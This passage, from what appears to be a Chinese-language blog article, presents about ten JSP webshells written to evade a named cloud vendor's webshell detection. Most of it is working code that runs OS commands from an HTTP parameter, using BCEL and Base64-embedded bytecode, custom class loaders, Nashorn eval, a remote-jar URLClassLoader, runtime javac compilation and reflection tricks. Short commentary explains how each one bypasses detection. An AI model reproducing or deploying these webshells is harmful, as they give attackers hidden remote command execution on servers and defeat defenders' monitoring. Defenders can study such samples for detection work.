a$5c$s$9a$86$O$abX$U$k$a7n$ea$7f$d0$few$f2zNU$b3$b2RU$c4$d1k$c6$afuQ$D$3fu$w$7e$de$d7RA$c0$92$60Q$8a$ba$fbV$e98$f7$b1$b3$c15$b1$91l$nV$d0I$a1$e3V$_$n$96w$81U$92$qp$baR$dbiy$bcj$fb$F$b3T$f6L$3f$c8$9bV$d1$b2w$85$99$b5$85k$3a$5e$u$C$cfr$cd$a8$nw8q$e6$9d$d0q$9d$f0$80$ec$J$af$3a$8f$D$f4r$b7$e5$FQ$dft$H$a5P$QK$cc$_$87$f5$e3$beB$d3$W$f8$eb$c4$K$b4$a2$3c$b9$k$9e$e2$N$3f$cc_$85$c2$87$83$c55$c6$f7$8b$Y$e1$f5$ff$EO$7f$a2$83$ff$H$e0$f6$f8$n$94$p$b4m$j$o$b6x$Eu$eb$I$ed$5b$P$d11Q$81VA$fc$Q$9d$87$d0$97$a6$w$e8$da$ba$a1$fe$8e$c4$e4$90Z$81$918$c7e$f3$fbG$7f$8dOV$d0$fd3z$kD$B$9e$e4$3a$C$8dk7$7f9$3d0$I$e2$S$S0$91$c4$M$fa0$8f$7e$C$93$ff$af$u4$9e$c63$40$f46J$88$K$ed$a7i$ff$y$n$5e$a2$ee2R$f49I$f8c$d4$aa$Y$8fRi$7bD$a5$aaaB$c3$a4$86$v$NW$80$bf1$c8$T$c3$80f$K$9e$e3$c3$h$85$ab$cc$d4$e4$$Yh$l$ff$J$3d$3f$f0$a5$z$c2$d9$R$J$87$p$3cF$d5$a0$86$a7$T$d7$88$b0J$d3wD$a0r$bf$9e$e8$ad$e0$7c$oQA2Cj$$$fc$g_$9c$60$ea$7d$9b$93$eaC$f4$_$fd$88$81$g$87$89A2C$ba$M$f2R$c1$d0$83$93x$c3$8c$u$d9$e9$a2$df$E$r$83$8c$3c$c2$88$_3$a6$c40$5e$8d$83$X$f1$S$f7$$LQs$9d$b8$S$e4$e3$V$dc$a0$97$R$fa$98$s$T$b1$86DoF$R$5e$fd$X$cb$B$rU$g$I$A$A";
response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString()).getBytes());
%>
</body>
</html>
上述使用了`com.sun.org.apache.bcel.internal.util.ClassLoader`直接加载BCEL格式的字节码，实现了bypass某云的Webshell的检测。
而BCEL字节码的生成，以及执行指令的恶意类如下：
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
/**
* @author threedr3am
*/
public class Threedr3am {
String res;
public Threedr3am(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
res = stringBuilder.toString();
}
@Override
public String toString() {
return res;
}
public static void main(String[] args) throws IOException {
InputStream inputStream = Threedr3am_15.class.getClassLoader().getResourceAsStream("Threedr3am.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
String code = Utility.encode(bytes, true);
System.out.println("$$BCEL$$" + code);
}
}
因为BCEL生成的时候是不带前缀$$BCEL$$的，所以需要我们自己补充上。
这里有个trick就是，因为某云禁了invoke的调用，我这里override了toString方法，使用它进行对命令执行结果的带出，其实这样的绕过还有很多，比如throw异常、写文件、寄存到static
field、设置到System property等等都是可以的，请继续看后面的webshell。
### 二、使用自定义类加载器的JSP Webshell
<%@ page import="java.security.PermissionCollection" %>
<%@ page import="java.security.Permissions" %>
<%@ page import="java.security.AllPermission" %>
<%@ page import="java.security.ProtectionDomain" %>
<%@ page import="java.security.CodeSource" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.util.Base64" %>
<html>
<body>
<h2>自定义类加载器的JSP Webshell</h2>
<%
response.getOutputStream().write(new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("Threedr3am_2")) {
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MVGhyZWVkcjNhbV8yOwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQARVGhyZWVkcjNhbV8yLmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAMVGhyZWVkcjNhbV8yBwBwDABxAHIBABJUaHJlZWRyM2FtXzIuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAADgAEAA8ADAAQACUAEgAvABMAPgAVAEYAFgAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAGgAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAHgALAB8AEgAgABgAIQAgACIAJwAjACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ");
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
}.loadClass("Threedr3am_2").getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString().getBytes());
%>
</body>
</html>
这里的自定义类加载器，重写了loadClass、findClass方法，实现在使用类加载器加载类时，使用jsp中硬编码的恶意字节码。
字节码输出以及恶意类的编写如下：
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Base64;
/**
* @author threedr3am
*/
public class Threedr3am_2 {
String res;
public Threedr3am_2(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
res = stringBuilder.toString();
}
@Override
public String toString() {
return res;
}
public static void main(String[] args) throws IOException {
InputStream inputStream = Threedr3am_2.class.getClassLoader().getResourceAsStream("Threedr3am_2.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
String code = Base64.getEncoder().encodeToString(bytes);
System.out.println(code);
}
}
跟前面的一样，也是通过重写toString方法进行命令执行结果的带出，主要也是因为这种方式比较简易。
### 三、使用ScriptEngine.eval的JSP Webshell
<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<html>
<body>
<h2>ScriptEngine.eval的JSP Webshell</h2>
<%
String s1 = "s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='";
String s2 = request.getParameter("threedr3am");
String s3 = new String(Base64.getDecoder().decode("JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs="));
Process process = (Process) new ScriptEngineManager().getEngineByName("nashorn").eval(s1 + s2 + s3);
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
if (stringBuilder.length() > 0) {
response.getOutputStream().write(stringBuilder.toString().getBytes());
}
%>
</body>
</html>
这个比较简单，就是使用了jdk自带的ScriptEngine执行脚本的方式进行执行命令。
### 四、使用URLClassLoader加载远程jar的JSP Webshell
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<html>
<body>
<h2>URLClassLoader加载远程jar的JSP Webshell</h2>
<%
response.getOutputStream().write(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:80/threedr3am.jar")}).loadClass("Threedr3am_4").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("threedr3am"))).toString().getBytes());
%>
</body>
</html>
这个jsp
webshell使用了URLClassLoader加载远程恶意jar，在loadClass时触发恶意代码执行，这种方式的Webshell，如果遇到了限制出网的情况，可能就没用了。
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Base64;
/**
* @author threedr3am
*/
public class Threedr3am_4 {
String res;
public Threedr3am_4(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
res = stringBuilder.toString();
}
@Override
public String toString() {
return res;
}
}
### 五、使用javac动态编译class的JSP Webshell
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.nio.charset.Charset" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.util.Locale" %>
<%@ page import="javax.tools.DiagnosticCollector" %>
<%@ page import="javax.tools.JavaCompiler" %>
<%@ page import="javax.tools.JavaFileObject" %>
<%@ page import="javax.tools.StandardJavaFileManager" %>
<%@ page import="javax.tools.ToolProvider" %>
<%@ page import="java.util.Random" %>
<%@ page import="java.io.File" %>
<html>
<body>
<h2>javac动态编译class的JSP Webshell</h2>
<%
String c = request.getParameter("threedr3am");
String tmpPath = Files.createTempDirectory("threedr3am").toFile().getPath();
JavaCompiler javaCompiler = ToolProvider.getSystemJavaCompiler();
DiagnosticCollector<JavaFileObject> diagnostics = new DiagnosticCollector();
StandardJavaFileManager standardJavaFileManager = javaCompiler
.getStandardFileManager(diagnostics, Locale.CHINA, Charset.forName("utf-8"));
int id = new Random().nextInt(10000000);
StringBuilder stringBuilder = new StringBuilder()
.append("import java.io.BufferedReader;\n")
.append("import java.io.IOException;\n")
.append("import java.io.InputStream;\n")
.append("import java.io.InputStreamReader;\n")
.append("public class Threedr3am" + id + " {\n")
.append(" public static String result = \"\";\n")
.append(" public Threedr3am" + id + "() throws Throwable {\n")
.append(" StringBuilder stringBuilder = new StringBuilder();\n")
.append(" try {")
.append(" BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"" + c + "\").getInputStream()));\n")
.append(" String line;\n")
.append(" while((line = bufferedReader.readLine()) != null) {\n")
.append(" stringBuilder.append(line).append(\"\\n\");\n")
.append(" }\n")
.append(" result = stringBuilder.toString();\n")
.append(" } catch (Exception e) {\n")
.append(" e.printStackTrace();\n")
.append(" }\n")
.append(" throw new Throwable(stringBuilder.toString());")
.append(" }\n")
.append("}");
Files.write(Paths.get(tmpPath + File.separator + "Threedr3am" +id + ".java"), stringBuilder.toString().getBytes());
Iterable fileObject = standardJavaFileManager.getJavaFileObjects(tmpPath + File.separator + "Threedr3am" +id + ".java");
javaCompiler.getTask(null, standardJavaFileManager, diagnostics, null, null, fileObject).call();
try {
new URLClassLoader(new URL[]{new URL("file:" + tmpPath + File.separator)}).loadClass("Threedr3am" + id).newInstance();
} catch (Throwable e) {
response.getOutputStream().write(e.getMessage().getBytes());
}
%>
</body>
</html>
这是一个利用了jdk自带的javac进行动态编译class的jsp
webshell，stringBuilder中的内容就是java源码内容，我们可以通过加密或编码的方式对其内容进行隐匿，避免被检测到，还有就是，这里使用了和前面不一样的方式去对命令执行结果的带出，具体是使用了field字段进行寄存，最后HTTP响应返回时从其中取出返回。
理论上这个马，也是有一点点小限制的，限制的点就在于`ToolProvider.getSystemJavaCompiler`，按照官方文档的说法，这个api主要是提供给桌面端使用的，也就是说，服务器端可能会获取不到编译器对象。
### 六、使用了jdk.nashorn.internal.runtime.ScriptLoader类加载器加载的JSP Webshell
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.security.CodeSource" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.util.Base64" %>
<%@ page import="jdk.nashorn.internal.runtime.Context" %>
<%@ page import="jdk.nashorn.internal.runtime.options.Options" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%@ page import="sun.reflect.misc.MethodUtil" %>
<html>
<body>
<h2>jdk.nashorn.internal.runtime.ScriptLoader类加载器加载的JSP Webshell</h2>
<%
Class c = Class.forName("jdk.nashorn.internal.runtime.ScriptLoader");
final Constructor constructor = c.getDeclaredConstructor(Context.class);
constructor.setAccessible(true);
final Method m = c.getDeclaredMethod("installClass", String.class, byte[].class, CodeSource.class);
m.setAccessible(true);
class A {
B b;
final class B {
private Object o;
private Object[] oo;
public B() throws IllegalAccessException, InvocationTargetException, InstantiationException {
o = constructor.newInstance(new Context(new Options(""), null, null));
oo = new Object[]{"Threedr3am_6", Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MVGhyZWVkcjNhbV82OwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQARVGhyZWVkcjNhbV82LmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAMVGhyZWVkcjNhbV82BwBwDABxAHIBABJUaHJlZWRyM2FtXzYuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAADgAEAA8ADAAQACUAEgAvABMAPgAVAEYAFgAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAGgAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAHgALAB8AEgAgABgAIQAgACIAJwAjACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ"), new CodeSource(null, (Certificate[]) null)};
}
}
public A() throws IllegalAccessException, InstantiationException, InvocationTargetException {
b = new B();
}
public Class invokex(Method method)
throws InvocationTargetException, IllegalAccessException {
return (Class) MethodUtil.invoke(method, b.o, b.oo);
}
}
Class target = new A().invokex(m);
response.getOutputStream().write(target.getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString().getBytes());
%>
</body>
</html>
这个马和前面的自定义类加载器没什么大区别，但是是使用了`jdk.nashorn.internal.runtime.ScriptLoader`，这种情况只是想展示不一样的姿势，最主要的是，如果某些类加载器被禁用了，就可以使用这个特殊的类加载器去加载字节码执行，不过其实还是需要调用invoke进行加载的，而某云的检测还是会检测到的，但是这里使用了多层的内部类形式，成功的绕过了某云的检测，invoke的绕过不是重点，重点的是想说一下有这样的一个类加载器。
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Base64;
/**
* @author threedr3am
*/
public class Threedr3am_6 {
String res;
public Threedr3am_6(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
res = stringBuilder.toString();
}
@Override
public String toString() {
return res;
}
public static void main(String[] args) throws IOException {
InputStream inputStream = Threedr3am_6.class.getClassLoader().getResourceAsStream("Threedr3am_6.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
String code = Base64.getEncoder().encodeToString(bytes);
System.out.println(code);
}
}
### 七、使用内部类绕某云检测java.lang.ProcessImpl以及invoke的一个JSP Webshell
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Map" %>
<%@ page import="sun.reflect.misc.MethodUtil" %>
<html>
<body>
<h2>java.lang.ProcessImpl JSP Webshell</h2>
<%
try {
final String s = request.getParameter("threedr3am");
class A {
B b;
final class B {
private Method o;
private Object oo;
private Object[] ooo;
public B() throws ClassNotFoundException, NoSuchMethodException {
Class clz = Class.forName("java.lang.ProcessImpl");
Method method = clz
.getDeclaredMethod("start", String[].class, Map.class, String.class,
ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
o = method;
oo = clz;
ooo = new Object[]{s.split(" "), null, null, null, false};
}
}
public A() throws ClassNotFoundException, NoSuchMethodException {
b = new B();
}
public Object invokex()
throws InvocationTargetException, IllegalAccessException {
return MethodUtil.invoke(b.o, b.oo, b.ooo);
}
}
Process process = (Process) new A().invokex();
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
if (stringBuilder.length() > 0) {
response.getOutputStream().write(stringBuilder.toString().getBytes());
}
} catch (Exception e) {
e.printStackTrace();
}
%>
</body>
</html>
### 八、使用内部类绕某云检测java.lang.ProcessBuilder以及invoke的JSP Webshell
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<html>
<body>
<h2>java.lang.ProcessBuilder JSP Webshell</h2>
<%
try {
final String cmd = request.getParameter("threedr3am");
class Threedr3am_8 {
Threedr3amX threedr3amX;
class Threedr3amX {
private Process process;
public Threedr3amX() throws IOException {
process = new ProcessBuilder().command(cmd.split(" ")).start();
}
}
public Threedr3am_8() throws IOException {
threedr3amX = new Threedr3amX();
}
public String echo() throws IOException {
Process process = threedr3amX.process;
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
return stringBuilder.toString();
}
}
response.getOutputStream().write(new Threedr3am_8().echo().getBytes());
} catch (Exception e) {
e.printStackTrace();
}
%>
</body>
</html>
### 九、利用MethodAccessor.invoke绕过检测Method.invoke的JSP Webshell
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Map" %>
<%@ page import="sun.reflect.ReflectionFactory" %>
<%@ page import="java.security.AccessController" %>
<%@ page import="sun.reflect.MethodAccessor" %>
<html>
<body>
<h2>MethodAccessor.invoke绕过检测Method.invoke的JSP Webshell</h2>
<%!
public static class Threedr3am_9 {
public static final Class clz = Class.forName("java.lang.ProcessImpl");
public static Object[] ooo;
}
%>
<%
String s = request.getParameter("threedr3am");
Threedr3am_9.ooo = new Object[]{s.split(" "), null, null, null, false};
Method method = Threedr3am_9.clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
ReflectionFactory reflectionFactory = AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction());
MethodAccessor methodAccessor = reflectionFactory.newMethodAccessor(method);
Process process = (Process) methodAccessor.invoke(null, null);
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
if (stringBuilder.length() > 0) {
response.getOutputStream().write(stringBuilder.toString().getBytes());
}
%>
</body>
</html>
如果遇到了禁用Method.invoke的情况，我们还能使用MethodAccessor.invoke进行反射调用方法。
### 十、使用了SPI机制的ScriptEngineManager自动加载实例化JSP Webshell
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.util.Random" %>
<%@ page import="java.io.File" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.util.Base64" %>
<%@ page import="javax.script.ScriptEngineFactory" %>
<%@ page import="java.util.ServiceLoader" %>
<%@ page import="java.util.Iterator" %>
<html>
<body>
<h2>SPI机制的ScriptEngineManager自动加载实例化JSP Webshell</h2>
<%
String tmp = System.getProperty("java.io.tmpdir");
Random random = new Random();
String jarPath = tmp + File.separator + "cve-" + random.nextInt(1000000) + ".jar";
String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt";
String s = request.getParameter("threedr3am");
if (Files.exists(Paths.get(inputFile)))
Files.delete(Paths.get(inputFile));
Files.write(Paths.get(inputFile), s.getBytes());
if (Files.exists(Paths.get(jarPath)))
Files.delete(Paths.get(jarPath));
